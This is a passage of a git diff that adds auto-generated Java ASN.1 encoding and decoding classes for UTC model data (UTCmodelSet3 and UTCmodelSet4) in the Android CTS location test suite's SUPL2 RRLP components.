+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKp();
+ }
+
+ @Override public void setToNewInstance() {
+ setKpToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.kpType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "kp : "
+ + getKp().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nAType() {
+ super();
+ setValueRange("1", "1461");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nAType != null) {
+ return ImmutableList.of(TAG_nAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nAType from encoded stream.
+ */
+ public static nAType fromPerUnaligned(byte[] encodedBytes) {
+ nAType result = new nAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nAType from encoded stream.
+ */
+ public static nAType fromPerAligned(byte[] encodedBytes) {
+ nAType result = new nAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tauCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_tauCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tauCType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tauCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tauCType != null) {
+ return ImmutableList.of(TAG_tauCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tauCType from encoded stream.
+ */
+ public static tauCType fromPerUnaligned(byte[] encodedBytes) {
+ tauCType result = new tauCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tauCType from encoded stream.
+ */
+ public static tauCType fromPerAligned(byte[] encodedBytes) {
+ tauCType result = new tauCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tauCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class b1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_b1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public b1Type() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_b1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_b1Type != null) {
+ return ImmutableList.of(TAG_b1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new b1Type from encoded stream.
+ */
+ public static b1Type fromPerUnaligned(byte[] encodedBytes) {
+ b1Type result = new b1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new b1Type from encoded stream.
+ */
+ public static b1Type fromPerAligned(byte[] encodedBytes) {
+ b1Type result = new b1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "b1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class b2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_b2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public b2Type() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_b2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_b2Type != null) {
+ return ImmutableList.of(TAG_b2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new b2Type from encoded stream.
+ */
+ public static b2Type fromPerUnaligned(byte[] encodedBytes) {
+ b2Type result = new b2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new b2Type from encoded stream.
+ */
+ public static b2Type fromPerAligned(byte[] encodedBytes) {
+ b2Type result = new b2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "b2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class kpType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_kpType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public kpType() {
+ super();
+ setMinSize(2);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_kpType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_kpType != null) {
+ return ImmutableList.of(TAG_kpType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new kpType from encoded stream.
+ */
+ public static kpType fromPerUnaligned(byte[] encodedBytes) {
+ kpType result = new kpType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new kpType from encoded stream.
+ */
+ public static kpType fromPerAligned(byte[] encodedBytes) {
+ kpType result = new kpType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "kpType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTCmodelSet3 = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java
new file mode 100755
index 0000000..7cff98c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java
@@ -0,0 +1,1434 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTCmodelSet4 extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTCmodelSet4
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTCmodelSet4() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTCmodelSet4;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTCmodelSet4 != null) {
+ return ImmutableList.of(TAG_UTCmodelSet4);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTCmodelSet4 from encoded stream.
+ */
+ public static UTCmodelSet4 fromPerUnaligned(byte[] encodedBytes) {
+ UTCmodelSet4 result = new UTCmodelSet4();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTCmodelSet4 from encoded stream.
+ */
+ public static UTCmodelSet4 fromPerAligned(byte[] encodedBytes) {
+ UTCmodelSet4 result = new UTCmodelSet4();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTCmodelSet4.utcA1wntType utcA1wnt_;
+ public UTCmodelSet4.utcA1wntType getUtcA1wnt() {
+ return utcA1wnt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcA1wntType
+ */
+ public void setUtcA1wnt(Asn1Object value) {
+ this.utcA1wnt_ = (UTCmodelSet4.utcA1wntType) value;
+ }
+ public UTCmodelSet4.utcA1wntType setUtcA1wntToNewInstance() {
+ utcA1wnt_ = new UTCmodelSet4.utcA1wntType();
+ return utcA1wnt_;
+ }
+
+ private UTCmodelSet4.utcA0wntType utcA0wnt_;
+ public UTCmodelSet4.utcA0wntType getUtcA0wnt() {
+ return utcA0wnt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcA0wntType
+ */
+ public void setUtcA0wnt(Asn1Object value) {
+ this.utcA0wnt_ = (UTCmodelSet4.utcA0wntType) value;
+ }
+ public UTCmodelSet4.utcA0wntType setUtcA0wntToNewInstance() {
+ utcA0wnt_ = new UTCmodelSet4.utcA0wntType();
+ return utcA0wnt_;
+ }
+
+ private UTCmodelSet4.utcTotType utcTot_;
+ public UTCmodelSet4.utcTotType getUtcTot() {
+ return utcTot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcTotType
+ */
+ public void setUtcTot(Asn1Object value) {
+ this.utcTot_ = (UTCmodelSet4.utcTotType) value;
+ }
+ public UTCmodelSet4.utcTotType setUtcTotToNewInstance() {
+ utcTot_ = new UTCmodelSet4.utcTotType();
+ return utcTot_;
+ }
+
+ private UTCmodelSet4.utcWNtType utcWNt_;
+ public UTCmodelSet4.utcWNtType getUtcWNt() {
+ return utcWNt_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcWNtType
+ */
+ public void setUtcWNt(Asn1Object value) {
+ this.utcWNt_ = (UTCmodelSet4.utcWNtType) value;
+ }
+ public UTCmodelSet4.utcWNtType setUtcWNtToNewInstance() {
+ utcWNt_ = new UTCmodelSet4.utcWNtType();
+ return utcWNt_;
+ }
+
+ private UTCmodelSet4.utcDeltaTlsType utcDeltaTls_;
+ public UTCmodelSet4.utcDeltaTlsType getUtcDeltaTls() {
+ return utcDeltaTls_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcDeltaTlsType
+ */
+ public void setUtcDeltaTls(Asn1Object value) {
+ this.utcDeltaTls_ = (UTCmodelSet4.utcDeltaTlsType) value;
+ }
+ public UTCmodelSet4.utcDeltaTlsType setUtcDeltaTlsToNewInstance() {
+ utcDeltaTls_ = new UTCmodelSet4.utcDeltaTlsType();
+ return utcDeltaTls_;
+ }
+
+ private UTCmodelSet4.utcWNlsfType utcWNlsf_;
+ public UTCmodelSet4.utcWNlsfType getUtcWNlsf() {
+ return utcWNlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcWNlsfType
+ */
+ public void setUtcWNlsf(Asn1Object value) {
+ this.utcWNlsf_ = (UTCmodelSet4.utcWNlsfType) value;
+ }
+ public UTCmodelSet4.utcWNlsfType setUtcWNlsfToNewInstance() {
+ utcWNlsf_ = new UTCmodelSet4.utcWNlsfType();
+ return utcWNlsf_;
+ }
+
+ private UTCmodelSet4.utcDNType utcDN_;
+ public UTCmodelSet4.utcDNType getUtcDN() {
+ return utcDN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcDNType
+ */
+ public void setUtcDN(Asn1Object value) {
+ this.utcDN_ = (UTCmodelSet4.utcDNType) value;
+ }
+ public UTCmodelSet4.utcDNType setUtcDNToNewInstance() {
+ utcDN_ = new UTCmodelSet4.utcDNType();
+ return utcDN_;
+ }
+
+ private UTCmodelSet4.utcDeltaTlsfType utcDeltaTlsf_;
+ public UTCmodelSet4.utcDeltaTlsfType getUtcDeltaTlsf() {
+ return utcDeltaTlsf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcDeltaTlsfType
+ */
+ public void setUtcDeltaTlsf(Asn1Object value) {
+ this.utcDeltaTlsf_ = (UTCmodelSet4.utcDeltaTlsfType) value;
+ }
+ public UTCmodelSet4.utcDeltaTlsfType setUtcDeltaTlsfToNewInstance() {
+ utcDeltaTlsf_ = new UTCmodelSet4.utcDeltaTlsfType();
+ return utcDeltaTlsf_;
+ }
+
+ private UTCmodelSet4.utcStandardIDType utcStandardID_;
+ public UTCmodelSet4.utcStandardIDType getUtcStandardID() {
+ return utcStandardID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet4.utcStandardIDType
+ */
+ public void setUtcStandardID(Asn1Object value) {
+ this.utcStandardID_ = (UTCmodelSet4.utcStandardIDType) value;
+ }
+ public UTCmodelSet4.utcStandardIDType setUtcStandardIDToNewInstance() {
+ utcStandardID_ = new UTCmodelSet4.utcStandardIDType();
+ return utcStandardID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA1wnt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA1wnt();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA1wntToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcA1wntType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA1wnt : "
+ + getUtcA1wnt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcA0wnt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcA0wnt();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcA0wntToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcA0wntType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcA0wnt : "
+ + getUtcA0wnt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcTot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcTot();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcTotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcTotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcTot : "
+ + getUtcTot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNt() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNt();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcWNtType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcWNt : "
+ + getUtcWNt().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTls() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTls();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcDeltaTlsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTls : "
+ + getUtcDeltaTls().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcWNlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcWNlsf : "
+ + getUtcWNlsf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDN();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcDNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDN : "
+ + getUtcDN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcDeltaTlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTlsf : "
+ + getUtcDeltaTlsf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcStandardID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcStandardID();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcStandardIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.utcStandardIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcStandardID : "
+ + getUtcStandardID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA1wntType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA1wntType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA1wntType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA1wntType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA1wntType != null) {
+ return ImmutableList.of(TAG_utcA1wntType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA1wntType from encoded stream.
+ */
+ public static utcA1wntType fromPerUnaligned(byte[] encodedBytes) {
+ utcA1wntType result = new utcA1wntType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA1wntType from encoded stream.
+ */
+ public static utcA1wntType fromPerAligned(byte[] encodedBytes) {
+ utcA1wntType result = new utcA1wntType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA1wntType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA0wntType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA0wntType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA0wntType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA0wntType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA0wntType != null) {
+ return ImmutableList.of(TAG_utcA0wntType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA0wntType from encoded stream.
+ */
+ public static utcA0wntType fromPerUnaligned(byte[] encodedBytes) {
+ utcA0wntType result = new utcA0wntType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA0wntType from encoded stream.
+ */
+ public static utcA0wntType fromPerAligned(byte[] encodedBytes) {
+ utcA0wntType result = new utcA0wntType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
